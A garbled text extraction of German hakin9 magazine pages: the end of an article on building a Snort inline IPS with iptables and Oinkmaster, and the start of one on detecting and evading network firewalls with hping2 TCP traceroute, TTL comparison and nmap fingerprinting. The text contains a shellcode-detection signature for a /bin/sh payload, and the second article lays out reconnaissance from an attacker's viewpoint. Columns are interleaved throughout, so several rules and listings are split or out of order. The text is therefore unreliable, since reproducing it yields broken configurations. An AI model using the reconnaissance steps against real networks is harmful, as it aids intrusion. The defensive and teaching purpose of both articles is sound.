Listing 2. Reaktion von Snort auf die erste Signatur [**] [1:0:0] Port 22 Connection Initiated [**] [Classification: Attempted User Privilege Gain] [Priority: 1] 09/19-20:19:07.436667 192.168.0.2:1049 -> 193.219.28.2:22 TCP TTL:128 TOS:0x0 ID:702 IpLen:20 DgmLen:48 DF ******S* Seq: 0x29821EB9 Ack: 0x0 Win: 0xFAF0 TcpLen: 28 TCP Options (4) => MSS: 1460 NOP NOP SackOK
# cp classification.config \ gen-msg.map \ generators \ reference.config \ sid sid-msg.map \ snort.conf \ threshold.conf \
Listing 3. Reaktion von Snort auf die zweite Signatur
unicode.map \ /etc/snort
Zum Schluss müssen wir noch die Hauptkonfigurationsdatei snort.conf modifizieren. Wir haben aber immer noch keine Signaturen der Angriffe und müssen alle Zeilen, die Dateien mit Signaturen einfügen (diese befinden sich am Ende der Datei und haben die Form include $RULE _ PATH/*.rules) auskommentieren. Zu diesem Zweck fügen wir am Anfang einer Zeile das Zeichen # ein. Außerdem ändern wir auch den Wert der Variable, die auf einen Ordner hinweist, in dem sich diese Dateien befinden sollen, von var RULE _ PATH../rules auf var RULE _ PATH / etc/snort/rules.
Wir überprüfen die Signaturen
Die Signaturen der Angriffe, die wir auf der Homepage des Projekts Snort beziehen können, werden in drei Gruppen aufgeteilt: kostenpflichtige Signaturen (subscription rules), Signaturen, die nur von registrierten Nutzern heruntergeladen werden können (registration rules) und frei verfügbare Signaturen (unregistered rules). Da die frei verfügbaren Signaturen nur beim Freigeben einer neuen Version von Snort aktualisiert werden, und die kostenpflichtigen Signaturen nomen omen nicht umsonst sind, empfiehlt es sich, Signaturen zu verwenden, die nach der Registrierung verfügbar sind. Bevor wir sie herunterladen und installieren, können wir zunächst all das testen, was wir bisher aufgebaut haben. Erstellen wir also einige Beispielsignaturen, die ermöglichen, die Möglichkeiten unseres IPS kennen
[**] [1:0:0] ICMP Echo Request [**] [Classification: Attempted User Privilege Gain] [Priority: 1] 09/19-20:12:57.194560 192.168.0.2 -> 212.76.32.1 ICMP TTL:128 TOS:0x0 ID:420 IpLen:20 DgmLen:60 Type:8 Code:0 ID:512 Seq:256 ECHO
Listing 4. Reaktion von Snort auf die dritte Signatur [**] [1:0:0] DNS Request [**] [Classification: Attempted User Privilege Gain] [Priority: 1] 09/19-20:21:12.989775 192.168.0.2:1041 -> 212.76.39.45:53 UDP TTL:128 TOS:0x0 ID:818 IpLen:20 DgmLen:59 Len: 31
zu lernen. Wir verwenden drei neue Signaturen (die ausschließlich in der Version inline verfügbar sind), die die Aktionen definieren, die von Snort beim Starten einer Signatur durchgeführt werden. Es handelt sich um: •
•
•
drop – Snort wir registrieren, das ein Paket mit einer Signatur übereinstimmt und benachrichtigt iptables, dass es zurückgewiesen werden soll; sdrop – das Paket wird zurückgewiesen, die Information darüber wird aber nicht registriert; reject – das Paket wird zurückgewiesen und registriert; die Verbindung wird abgebrochen (RST im Falle des Protokolls TCP) oder es wird das Paket ICMP Port Unreachable abgeschickt (im Falle des Protokolls UDP).
Damit die Signaturen des Typs reject die Verbindungen reseten können, müssen wir in der Konfigurationsdatei die Option config layer2resets hinzufügen, die bewirkt, dass IPS die Reset-Pakete von den Schnittstellen aus, die über keine IP-Adresse ver-
www.hakin9.org
fügen, abschicken wird. Standardmäßig fungiert in diesen Paketen als Quell-MAC-Adresse die Adresse der Output-Netzwerkkarte – diese Adresse kann mit Hilfe der Option config layer2resets folgendermaßen geändert werden: 00:01:02:03:04:05. Unsere erste Signatur sieht folgendermaßen aus: drop tcp any
any
->
any
22
attempted-user;
(classtype:
msg:"Port
Initiated";).
22
Es handelt sich hier um eine sehr einfache Signatur, die alle TCP-Pakete, die IPS passieren und an den Port 22 geschickt werden, erkennt, sperrt und registriert. Letztendlich wird IPS den Aufbau einer Verbindung mit SSH-Servern unterbinden. In Listing 2 wurde ein Log, das von Snort nach dem Abfangen der Pakete, die mit einer Signatur übereinstimmen, erstellt. Wie Sie sehen können, handelt es sich hier um ein SYN-Paket, welches das Aufbauen einer Verbindung des TCP-Protokolls initiiert. Die zweite Signatur: alert icmp Connection
any
any
any
attempted-user; Request";
any
(classtype:
msg:"ICMP
icode:0;
itype:8;)
Echo
wird
hakin9 Nr. 1/2006
51
Praxis
Listing 5. Eine einfache Modifizierung der Signatur ändert den Shellcode und ermöglicht einen gelungenen Angriff
Konfiguration von iptables
Vor der Modifizierung:
Um die Daten, die im Netzwerk gesendet werden, in den Userspace umzuleiten, haben wir den Befehl iptables -A FORWARD -j QUEUE verwendet, der den gesamten Datenstrom umfasst. Im Endeffekt werden alle Pakete, die das IPS passieren, analysiert. Wir können uns aber nur auf das Beobachten von ausgewählten Verbindungen beschränken. Möchten wir zum Beispiel, dass Snort nach Angriffen ausschließlich in jenen Paketen sucht, die an WWW-Server geschickt werden, können wir den Befehl iptables
alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any § (msg:"SHELLCODE Linux shellcode"; § content:"|90 90 90 E8 C0 FF FF FF|/bin/sh"; § reference:arachnids,343; classtype:shellcode-detect; sid:652; rev:9;)
Nach der Modifizierung: alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any § (msg:"SHELLCODE Linux shellcode"; § content:"|90 90 90 E8 C0 FF FF FF|/bin/sh"; § replace:"|90 90 90 E8 C0 FF FF FF|/ben/sh"; § reference:arachnids,343; classtype:shellcode-detect; sid:652; rev:9;)
dagegen alle ICMP-Pakete des Typs Echo Request erkennen und registrieren. In den Logs von Snort wird sich dann ein Eintrag befinden, der dem in Listing 3 ähnlich ist. Am interessantesten ist die letzte Signatur: alert udp any any
any
53
(classtype:attempted-
user; msg:"DNS Request"; content:
replace:"lycos";). Sie wird alle UDP-Pakete, die an den Port 53, also an den DNS-Server geschickt werden und die Zeichenkette yahoo enthalten, erkennen und registrieren. Die Pakete werden das IPS passieren und die Zeichenkette yahoo wird durch lycos ersetzt. Dafür ist das Feld replace in der Signatur zuständig, das festlegt, wie der Inhalt des Feldes content geändert werden soll. Bezieht sich eine Anfrage auf die Adresse www.yahoo.com, so wird der DNS-Server mit der IP-Adresse des Servers www.lycos.com antworten – in den Logs erscheint die in Listing 4 dargestellte Information. Die Eigenschaft von Snort inline spielt in einem HoneypotSystem eine große Rolle, denn es geht darum, einem Fremdling den Einbruch zu ermöglichen, ohne dass er imstande wäre, einen gelungenen Angriff auf einen Rechner im Netzwerk durchzuführen. Es genügt, im IPS-System eine Signatur zu modifizieren, die den Shellcode erkennt (siehe Listing 5), damit alle mit ihr übereinstimmenden Angriffe vereitelt werden können.
Wir kopieren alle Signaturen in die Datei test.rules im Verzeichnis /etc/snort/rules, und fügen am Ende der Datei /etc/snort/snort.conf den Eintrag include $RULE _ PATH/ test.rules hinzu. Anschließend konfigurieren wir iptables so, dass die Pakete Snort passieren können und starten es:
"yahoo";
52
hakin9 Nr. 1/2006
# iptables -P FORWARD DROP # iptables -A FORWARD -j QUEUE # snort -Q \ -c /etc/snort/snort.conf \ -l /var/log/snort -v
Mit Hilfe des letzten Befehls wird Snort im inline-Modus (Option -Q) gestartet. Die Konfiguration wird aus der Datei /etc/snort/snort.conf (-c) geladen, und die Logs werden im Verzeichnis /var/log/snort (-l) gespeichert. In der Testphase können wir auch die Option -v verwenden, die bewirkt, dass das IPS im Informationsmodus arbeitet und viele Meldungen anzeigt. Dadurch können wir schneller feststellen, welche Fehler wir eventuell gemacht haben. Zum Schluss werden wir die Option -v durch -D ersetzen, die bewirkt, dass Snort im Hintergrund als Daemon arbeiten wird.
Wir installieren offizielle Signaturen
Es ist an der Zeit unser System mit offiziellen Signaturen auszustatten, die in einer Produktionsumgebung eingesetzt werden können. Da wir Signaturen verwenden werden, die
www.hakin9.org
-A FORWARD -p tcp --dport 80 -j QUEUE verwenden.
nur den registrierten Nutzern zur Verfügung gestellt werden, müssen wir auf der Homepage von Snort ein Konto anlegen. Anschließend können wir die neusten Signaturen beziehen, die wir in das Verzeichnis /etc/snort entpacken. Die standardmäßige Aktion von Snort, die für alle Signaturen durchgeführt wird, ist das Registrieren des entdeckten Angriffs (Direktive alert). Da wir aber die Angriffe blockieren möchten, müssen wir alle Signaturen modifizieren, indem wir die Aktion alert durch drop ersetzen. Zu diesem Zweck führen wir den folgenden Befehl aus: $ for f in `ls *.rules` ;\ do
sed s/^alert/drop/g \
$f > ${f}.new ; \ mv ${f}.new $f ; \ done
Darüber hinaus sollten wir den abschließenden Teil der Datei snort.conf so ändern, dass die einzelnen Signaturen beim Ausführen des Programms geladen werden (vorher haben wir alle Zeilen, in denen die Signaturdateien eingeflügt werden, auskommentiert). Anschließend sollt Snort gestartet werden: # snort -Q -D \ -c /etc/snort/snort.conf \ -l /var/log/snort
Ein System zum Vorbeugen von Einbrüchen
snortrules-snapshot-CURRENT.tar.gz
Über den Autor
Michał Piotrowski ist ein Diplom-Informatiker und verfügt über langjährige Erfahrung als Administrator von Netzwerken und IT-Systemen. Er hat über drei Jahre als Sicherheitsexperte für ein Zertifizierungsamt der polnischen Public-Key-Infrastruktur gearbeitet. Er arbeitet zurzeit als Spezialist für IT-Sicherheit in einer der größte Finanzinstitutionen Polens. In seiner Freizeit beschäftigt er sich mit Programmieren und Kryptographie.
Wir sollten jedoch darauf achten, dass die Installation eines neuen IPS-Systems in Netzwerkumgebung und das Blockieren von allen Signaturen unerwünscht ist. Alle IDS/IPS-Geräte sollten auf ein konkretes Netzwerk abgestimmt werden, damit falsche Warnmeldungen, die immer in der Anfangsphase vorkommen, vermieden werden können. Befehlen wir unserem System alles, was verdächtig aussieht, zu blockieren, ohne ihm zuvor die Eigenschaften unseres Netzwerks beizubringen, kann es sich herausstellen, dass viele Dienste entweder nicht korrekt oder gar nicht funktionieren werden, da manche Pakete das IPS nicht passieren können. Es empfiehlt sich also zuerst zu prüfen, wie die einzelnen Signaturen auf einen typischen Verkehr in unserem Netzwerk reagieren und welche Angriffe registriert werden. Anschließend können wir jene Signaturen ausschalten, die falsche Warnmeldungen verursachen. Erst dann können wir dem Gerät das Blockieren von Angriffen erlauben.
Automatische Aktualisierungen
Jedes System IDS/IPS wird schnell unaktuell, selbst wenn es neuste Angriffssignaturen verwendet. Neue Bedrohungen tauchen
dermaßen schnell auf, dass die Systeme dieses Typs täglich aktualisiert werden müssen, damit sie erfolgreich sein können. Dies manuell durchzuführen ist ziemlich langweilig und zeitaufwendig. Versuchen wir also diese Tätigkeit zu automatisieren, indem wir ein Werkzeug namens Oinkmaster in der Version 1.2 anwenden. Außer diesem Programms benötigen wir den sogenannten OinkCode, mit dessen Hilfe wir auf Signaturen zugreifen können, die für angemeldete User von Snort verfügbar sind. Wir können den Code generieren, nachdem wir uns auf der Homepage von Snort eingeloggt haben. Oinkmaster ist ein Perl-Skript – von daher ist dessen Installation sehr einfach: $ tar zxvf oinkmaster-1.2.tar.gz $ cd oinkmaster-1.2 # cp oinkmaster.pl /usr/local/bin/ # cp oinkmaster.conf /etc/
Auch die Konfiguration, die in der Modifizierung der Datei oinkmaster.conf besteht, sollte keine Schwierigkeiten bereiten. Wir müssen vor allem entscheiden, welche Signaturen heruntergeladen werden sollen. Da wir die aktuellsten Signaturen beziehen möchten, modifizieren wir die Zeile #
url
=
http://www.snort.org/pub-
bi n /oi n k m a s t e r.c g i/< oi n k c o d e >/
Im Internet • • • • •
so, dass ihr das Zeichen # nicht mehr voransteht, und tragen anstelle von den Code ein, der auf der Homepage von Snort mithilfe eines Skripts generiert wurde. Lassen wir die Konfiguration von Oinkmaster in dieser Form, werden die Signaturen standardmäßig ausschließlich über entdeckte Angriffe berichten. Wir möchten jedoch, dass die Angriffe blockiert werden – deswegen müssen wir in der Datei oinkmaster.conf einen Eintrag hinzufügen, der bewirkt, dass alle heruntergeladenen Signaturen modifiziert werden, indem die standardmäßige Aktion alert durch drop ersetzt wird: modifysid * "^alert" | "drop". Auf eine ähnliche Art und Weise können wir festlegen, welche Signaturen standardmäßig eingeschaltet werden sollen (Direktive disablesid ). Dies kann sich insbesondere dann als hilfreich erweisen, wenn wir über ein abgestimmtes IPS bereits verfügen und nicht möchten, dass nach der Aktualisierung einige Signaturen eingeschaltet werden, die wir vorher deaktiviert haben. Wir starten das Programm mit dem folgenden Befehl:
http://www.snort.org – die Homepage des Projekts Snort, http://bridge.sourceforge.net – die Homepage des Werkzeugspakets bridge-utils, http://www.netfilter.org – die Homepage des Projekts netfilter und des Programms iptables, http://www.packetfactory.net/libnet/ – Homepage der Bibliothek libnet, http://oinkmaster.sourceforge.net/ – Homepage des Programms Oinkmaster.
www.hakin9.org
# oinkmaster.pl -o /etc/snort/rules/
wobei der Parameter -o ein Verzeichnis festlegt, das neue Signaturen beinhalten soll. Außerdem empfiehlt es sich den Parameter -b zu verwenden, der auf ein Verzeichnis hinweist, in welches alte Signaturdateien verschoben werden sollen. Damit alles korrekt funktioniert, sollte nach jeder Aktualisierung das Programm Snort erneut gestartet werden. Zum Schluss sollten wir ein einfaches Skript erstellen, das den ganzen Prozess automatisiert. Anschließend müssen wir das Skript in /etc/crontab oder in einer anderen Verwaltungsdatei hinzufügen. l
hakin9 Nr. 1/2006
53
Umgehung von Netzwerkfirewalls Techniken Oliver Karow
Schwierigkeitsgrad
Eine Firewall wird gerne als zuverlässiges Bollwerk zum Schutz von Netzwerken vor unauthorisierten Zugriffen eingesetzt. Jedoch können auch Firewalls Schwächen haben, die es einem Angreifer ermöglichen diesen Schutzmechanismus zu umgehen. Diese Schwächen können sowohl auf einer fehlerhaften Konfiguration als auch auf Fehlern im Firewallprodukt basieren. Im Rahmen dieses Artikels werden wir uns anschauen, welche Möglichkeiten für einen Angreifer bestehen eine Firewall zu umgehen.
D
er Schutz eines Netzwerkes gegen Angriffe und ungewünschte Zugriffe aus nicht vertrauenswürdigen Netzwerken wie dem Internet ist eine der wichtigsten Anforderungen heutiger IT-Infrastrukturen. Gleichzeitig ist dies das klassische Einsatzgebiet von Netzwerkfirewalls. Die Hauptaufgabe einer Firewall ist die Separation von Netzwerken und die Entscheidung zu treffen, ob Pakete zwischen den Netzwerken weitergeleitet oder geblockt werden. Die zwei gängigsten Firewalltypen sind Paketfilter und Application-Layer Firewalls (siehe Kasten Firewall Grundlagen). Unabhängig von der verwendeten Technologie benötigt eine Firewall eine Basis auf deren Grundlage sie entscheiden kann, ob ein Paket weitergeleitet oder geblockt wird. Diese Entscheidungsgrundlage ist die Firewallpolicy in Form von Access-Listen oder Filterregeln. Wir werden uns nachfolgend anschauen, welche Möglichkeiten es gibt eine Firewall zu umgehen, indem wir schlecht geschriebene Filterregeln, Schwächen in gängigen Protokollen sowie Einschränkungen der verschiedenen Firewalltypen ausnutzen.
54
hakin9 Nr. 1/2006
Erkennung von Firewalls
Bevor man die verschiedenen Techniken eine Firewall zu umgehen anwendet, tut man gut daran sich erst einmal zu versichern, ob das zu attackierende System überhaupt von einer Firewall geschützt wird oder nicht. Die Existenz einer Firewall ist nicht immer so offensichtlich, wie es auf den ersten Blick erscheinen mag, da es einige Methoden gibt um eine Firewall mehr oder weniger unsichtbar zu machen. Da jedoch die Existenz einer Firewall die Ergebnisse einer
In diesem Artikel erfahren Sie... • • •
wie Firewalls funktionieren, wie man eine Firewall entdecken kann, wie man eine Firewall umgehen kann.
Was Sie vorher wissen/können sollten... • •
www.hakin9.org
die Funktionsweise von TCP/IPv4 verstehen, das ISO/OSI Referenzmodell verstehen.
Umgehung von Netzwerkfirewalls
an, die man zur Erkennung von Firewalls anwenden kann.
Firewall Grundlagen
Eine Firewall ist grundsätzlich ein System welches den Übergang zwischen mehreren Netzwerken darstellt, und einen Filtermechanismus besitzt, der darüber entscheidet, ob ein Paket zwischen den angebundenen Netzwern weitergeleitet oder stattdessen blockiert wird. Eine Kategorisierung von Firewalls kann auf Basis des TCP/IP-Layers auf der die Analyse und Weiterleitung der Pakete erfolgt, kategorisiert werden:
Paketfilter
Paketfilter analysieren Pakete auf dem Netzwerk- (3) und dem Transportlayer (4) des ISO/OSI Modells. Demzufolge wertet ein Paketfilter die nachfolgenden Inhalte der Paketheader aus, um eine Filterentscheidung zu treffen: • • • • • •
Protokoll (ICMP, OSPF, AH, ESP, etc.); Quell-IP-Adresse; Ziel-IP-Adresse; Quell-Port; Ziel-Port; TCP-Flags (SYN, ACK, RST, FIN, etc.).
Statefull/dynamische Paketfilter
Aufbauend auf den Features eines einfachen Paketfilters, überwacht und speichert ein statefull Paketfilter den Status jeder Verbindung in einer Statetable genannten Tabelle. So merkt sich die Firewall, wenn beispielsweise aus dem internen Netzwerk eine Verbindung nach außen aufgebaut wird, die zu der Verbindung gehörenden IP-Adressen und Port-Nummern. Antwortpakete werden nur dann in das interne Netzwerk zugelassen, wenn sie genau zu den in der Statetable gespeicherten Verbindungsdaten passen, und innerhalb eines definierten Zeitfensters erscheinen. Des Weiteren sind einige Paketfilter dazu in der Lage dynamische Filterregeln zu erstellen. Hierzu wird die Kommunikation zwischen Client und Server beobachtet. Wird in dieser Kommunikation beispielsweise ein neuer TCP-/UDP-Port oder eine neue IP-Adresse ausgehandelt, die im Regelwerk der Firewall noch nicht freigeschaltet wurden, so erstellt die Firewall eine temporäre Regel, die den vereinbarten Port beziehungsweise die IP-Adresse für den Zeitraum der Kommunikation freischaltet. Applikationen, wie Oracle und Portmapper arbeiten unter anderem mit dynamischen Ports oder IP-Adressen.
Application Level Firewalls
Application Level Firewalls sind in der Lage Pakete bis einschließlich des Applikationslayers des ISO/OSI Modells zu analysieren. Neben den Features eines statefull/ dynamischen Paketfilters sind sie somit fähig, den Payload eines Paketes zu inspizieren. Während Paketfilter ihre Filterentscheidungen nur anhand der Informationen der Paketheader treffen können, kann eine Application Level Firewall zusätzlich nach applikationsspezifischen Mustern suchen. So kann innerhalb einer HTTP-Verbindung zum Beispiel aufgrund von Kommandos wie CONNECT oder DELETE gefiltert werden, während ein Paketfilter grundsätzlich nur Verbindungen zu HTTP-Ports an sich zulassen oder unterbinden kann. Application Level Firewalls benötigen für jedes Protokoll welches durch die Firewall bearbeitet werden soll, einen eigenen Proxy-Dienst. Da allerdings nicht für jedes Protokoll ein Proxy verfügbar ist, haben die meisten Hersteller ihre Produkte zusätzlich mit Paketfilterfähigkeiten und generischen Proxy-Diensten ausgestattet, die jedoch in der Regel nicht die Fähigkeit haben den applikationsspezifischen Payload auszuwerten.
Hybrid- und Layer-2 Firewalls
Viele Hersteller setzen mittlerweile auf Hybridtechnologie um das Beste von allen Firewalltypen zu bekommen. Das bedeutet, dass sie zum Beispiel Statefull Paketfilter sowie Application-Layer Proxydienste für gängige Protokolle einsetzen. Des Weiteren gibt es mittlerweile auch etliche Layer-2-Firewallsysteme auf dem Markt, jedoch sind diese noch nicht so weit verbreitet wie Paketfilter und Application-Layer Firewalls.
Attacke verfälschen beziehungsweise diese komplett unwirksam machen kann, ist es aus der Sicht
eines Angreifers notwendig auf die Existenz einer Firewall zu testen. Schauen wir uns einige Techniken
www.hakin9.org
Traceroute
Bei Traceroute handelt es sich um einen Mechanismus der dazu verwendet wird die Router aufzulisten, die ein Paket in einem Netzwerk auf dem Weg zum Ziel passieren muss. Handelt es sich bei einem der Router um eine Firewall, so besteht die Möglichkeit, dass wir deren IPAdresse mit dieser Technik in Erfahrung bringen können. Da Traceroute ein sehr alter Mechanismus ist, wird er von den meisten Firewalls geblockt. Es gibt jedoch immer noch einige Verständnisprobleme mit der Funktionsweise von Traceroute, die es einem Angreifer ermöglichen Traceroute durch eine Firewall hindurch auszuführen. Listing 1 zeit das Ergebnis von traceroute, welches von einer Firewall geblockt wurde. Wie man sehen kann funktioniert der Mechanismus bis zu dem System mit der IP 10.4.4.254. Danach scheint ein weiteres System die traceroute Pakete zu blocken. Schauen wir uns einmal an, wie Tracerouting funktioniert (siehe auch Abbildung 1). Um die Route eines IPPaketes durch ein Netzwerk bestimmen zu können, wird das TTL-Feld des IP-Headers verwendet. Der Wert des Feldes wird jedes mal, wenn es einen neuen Router erreicht, um den Wert eins verringert. Ist der Restwert danach noch größer als null, wird das Paket an den nächsten Router weitergereicht. Dies wird solange weitergeführt, bis der Wert null erreicht wird. In diesem Fall verwirft der Router das Paket, und schickt eine Benachrichtigung darüber an den Absender. Traceroute verwendet diesen Mechanismus, indem es das erste Paket mit einem TTL-Wert von 1 versendet. Da der erste Router bereits nach dem verringern des Wertes um 1 bereits den Wert 0 erreicht, wird er das Paket verwerfen und eine ICMP TTL-expired Nachricht zurücksenden. Damit hat traceroute den ersten Router ermittelt. Anschließend wird ein Paket mit einer TTL von 2 versendet. Dieses passiert den ersten
hakin9 Nr. 1/2006
55
Techniken
Abbildung 1. Funktionsweise von traceroute Listing 1. Von einer Firewall geblocktes Traceroute # traceroute www.dummycompany.de traceroute to www.dummycompany.de (10.10.10.10), 30 hops max, 40 byte packets 1 10.255.255.254 0.373 ms 0.203 ms 0.215 ms (...) 10 router.company1.de (10.1.1.254) 88.080 ms 88.319 ms 87.921 ms 11 router.company2.de (10.2.2.254) 87.881 ms 89.541 ms 88.081 ms 12 router.company3.de (10.3.3.254) 86.749 ms 86.919 ms 86.734 ms 13 router.company4.de (10.4.4.254) 87.216 ms 87.312 ms 87.307 ms 14 * * *
TCP traceroute
Listing 2. TCP-Traceroute Technik mit hping2 # hping2 -T -t 1 -S -p 80 www.dummycompany.de HPING www.dummycompany.de (eth0 10.10.10.10 ): S set, § 40 headers + 0 data bytes hop=1 TTL 0 during transit from ip=10.255.255.254 name=UNKNOWN hop=1 hoprtt=12.4 ms (...) hop=10 TTL 0 during transit from ip=10.1.1.254 name=router.company1.de hop=11 TTL 0 during transit from ip=10.2.2.254 name=router.company2.de hop=12 TTL 0 during transit from ip=10.3.3.254 name=router.company3.de hop=13 TTL 0 during transit from ip=10.4.4.254 name=router.company4.de hop=14 TTL 0 during transit from ip=10.5.5.254 name=UNKNOWN len=46 ip=10.10.10.10 flags=SA DF seq=15 ttl=107 id=12852 win=29200 rtt=95.6 ms len=46 ip=10.10.10.10 flags=R DF seq=15 ttl=107 id=12856 win=0 rtt=194.6 ms
Listing 3. Senden eines Paketes an einen geschlossenen Port # hping2 -S -p 99 -c 1 www.dontexist.com HPING www.dontexist.com (eth0 192.168.10.10): S set, 40 headers + 0 data bytes ICMP Packet filtered from ip=192.168.9.254
§
Listing 4. Beobachtung des Netzwerkverkehrs # tcpdump -i eth0 -n tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 12:59:18.778417 IP 172.16.1.1.1866 > 192.168.10.10.99: § S 1958445360:1958445360(0) win 512 12:59:18.786914 IP 192.168.9.254 > 172.16.1.1 icmp 36: § host 192.168.10.10 unreachable - admin prohibited filter
56
hakin9 Nr. 1/2006
Router, und erreicht am zweiten Router den Wert 0, womit dieser wieder dazu veranlasst wird, eine Nachricht zurückzusenden. Dieses Verfahren, den initialen TTL-Wert jeweils um eins zu erhöhen, wird solange durchgeführt bis das Zielsystem erreicht wurde. Da jeder Router eine solche Benachrichtigung versendet (sofern nicht anderweitig konfiguriert), kann traceroute sehr einfach eine Liste aller Router auf einem Pfad erstellen. Es ist noch wichtig zu wissen, dass zwei verschiedene Implementierungen von traceroute existieren. Die eine Implementierung verwendet dabei ICMP echo request Pakete (bei Windows) und die andere UDPPakete (bei den meisten *NIX Implementierungen). Beide haben jedoch gemeinsam, daß sie die TTL-Technik verwenden. Für die Konfiguration einer Firewall ist es daher notwendig, beide traceroute Mechanismen zu filtern.
www.hakin9.org
Da wir wissen, dass das TTL-Feld Teil des IP-Headers ist, und die üblichen Traceroute-Filter nur UDP- und ICMP-Pakete blocken, können wir versuchen den Filtermechanismus zu umgehen, indem wir TCP-Pakete anstelle von UDP- oder ICMP-Paketen verwenden. Versuchen wir nochmals den Pfad zu unserem Zielsystem zu tracen. Dieses mal verwenden wir das Tool hping2, das es uns ermöglicht TCP-Pakete mit modifizierten TTL-Werten zu versenden (siehe Listing 2). Wie wir sehen, konnten wir einen weiteren Router identifizieren. Während der traceroute Befehl nach dem dreizehnten Hop geblockt wurde, ging unser TCP-Traceroute bis zum Zielsystem durch, und zeigte mit dem Hop 14 einen weiteren Router auf.
Analyse von Antwortpaketen
Wenn man die Existenz einer Firewall ermitteln will, ist es ein guter Ansatz, die Antwortpakete von offenen Ports mit den Antwortpaketen von geschlossenen Ports zu vergleichen. Schauen wir uns ein paar Tricks an, die uns helfen
Umgehung von Netzwerkfirewalls
können die Existenz einer Firewall nachzuweisen. Als erstes verwenden wir hping2 um ein Paket an einen Port zu schicken, bei dem wir davon wissen oder davon ausgehen können, daß er geschlossen ist (siehe Listing 3). Zur gleichen Zeit lesen wir den Netzwerkverkehr mit tcpdump mit (siehe Listing 4). Wie wir sehen können, bekommen wir eine ICMP destination unreachable Mitteilung in Form einer admin prohibited filter Nachricht vom System 192.168.9.254. Die Nachricht zeigt, daß der Zugriff auf Port 99/TCP unseres Zielsystems mittels einer AccessListe auf dem Router der die Nachricht gesendet hat, gefiltert wurde. Da dies ein sehr offensichtlicher Indikator für die Existenz einer Firewall ist, wollen wir uns noch eine andere Technik anschauen, die auf der Analyse der TTL-Werte basiert.
TTL Differenzen
Jedesmal wenn ein IP-Paket einen Router passiert, wird der TTL-Wert um eins reduziert. Wenn also vor einem Server eine Firewall platziert ist, besteht die Möglichkeit, dass Pakete die vom Server kommen einen unterschiedlichen TTL-Wert haben als die Pakete, die von der Firewall versendet werden. Die Herausforderung besteht nun darin, sowohl den Server als auch die Firewall dazu zu bringen ein Antwortpaket an uns zu senden, damit wir nach Unterschieden im TTL-Feld schauen können. Unterscheiden sich die Felder mindestens um den Wert 1, so ist es sehr wahrscheinlich, daß ein Firewallsystem implementiert ist. Um beide Systeme zum Antworten zu bringen, senden wir ein Paket an einen offenen und eines an einen geschlossenen Port, wobei 80/TCP offen und 99/TCP geschlossen ist (siehe Listing 5). Auf das Paket an den offenen Port sollte der Zielserver antworten, während auf das Paket an den geschlossenen Port die Firewall antworten sollte, sofern eine existiert. Wie wir sehen können unterscheiden sich die TTL's um den Wert 1. Das liegt daran, daß der
Listing 5. Vergleich der TTL-Werte # hping2 -S -p 80 -c 1 www.randomname.com HPING www.randomname.com (eth0 192.100.100.10): § S set, 40 headers + 0 data bytes len=46 ip=192.100.100.10 flags=SA DF seq=0 ttl=55 id=0 win=5840 rtt=7.6 ms # hping2 -S -p 99 -c 1 www.randomname.com HPING www.randomname.com (eth0 192.100.100.10): § S set, 40 headers + 0 data bytes len=46 ip=192.100.100.10 flags=RA DF seq=0 ttl=56 id=0 win=0 rtt=7.6 ms
Listing 6. OS und Firewall Fingerprinting mit nmap # nmap -sS -F -n -O -p 80,99,443 192.168.190.1 Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) § at 2005-10-09 17:23 CEST Interesting ports on 192.168.190.1: PORT STATE SERVICE 80/tcp open http 99/tcp closed metagram 443/tcp open https Device type: firewall|broadband router|general purpose Running: Checkpoint Solaris 8, Belkin embedded, Sun Solaris 8 OS details: Checkpoint Firewall-1 NG on Sun Solaris 8, § Belkin DSL/Cable Router, Sun Solaris 8, Sun Trusted Solaris 8
Listing 7. Fingerprinting einer Symantec Enterprise Firewall Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) § at 2005-10-10 13:43 CEST Interesting ports on 192.168.99.1: (The 1193 ports scanned but not shown below are in state: closed) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 119/tcp open nntp 139/tcp open netbios-ssn 443/tcp open https 481/tcp open dvs 512/tcp open exec 513/tcp open login 514/tcp open shell 554/tcp open rtsp 1720/tcp open H.323/Q.931 2456/tcp open unknown 5631/tcp open pcanywheredata 7070/tcp open realserver No exact OS matches for host (If you know what OS is running § on it, see http://www.insecure.org/cgi-bin/nmap-submit.cgi).
Server ja hinter der Firewall steht, und somit dessen Pakete einen Router (hier die Firewall) mehr zu passieren haben als die Pakete die von der Firewall in unsere Richtung geschickt werden.
www.hakin9.org
Bestimmen des Firewalltyps
Die vorher genannten Techniken helfen die Existenz einer Firewall nachzuweisen. Sofern wir dabei die IP-Adresse der Firewall herausfin-
hakin9 Nr. 1/2006
57
Techniken
Tabelle 1. Standard Ports zur Bestimmung von Firewalls Firewall Produkt
Port Nummer
Zweck
Symantec Enterprise Firewall
888/TCP
OOB-Daemon
Symantec Enterprise Firewall
2456/TCP
webbasierte Administration
Checkpoint FW1-NG
256/TCP
Management
Checkpoint FW1-NG
257/TCP
FW1_log
Checkpoint FW1-NG
18181/TCP
OPSEC Content Vectoring Protocol
Checkpoint FW1-NG
18190/TCP
Management Interface
Im Übrigen ist nmap nicht das einzige Tool das zum Fingerprinting von Firewalls verwendet werden kann. Die zusätzliche Verwendung von Programmen, wie xprobe und p0f kann die Erkennungsrate stark erhöhen. Weitere, nützliche Informationen über Fingerprinting können im Artikel OS Fingerprinting – wir lassen uns nicht identifiezieren, veröffentlicht in der Ausgabe 4/2004 von hakin9, nachgelesen werden.
Banner Checking Listing 8. Banner Checking # > < < < < < < <
Firewall Error: Service Unavailable
den konnten, können wir nun noch ein paar weitere Tricks anwenden, um weiter Informationen wie das verwendete Firewallprodukt sowie das Betriebssystem zu bekommen.
TCP Fingerprinting
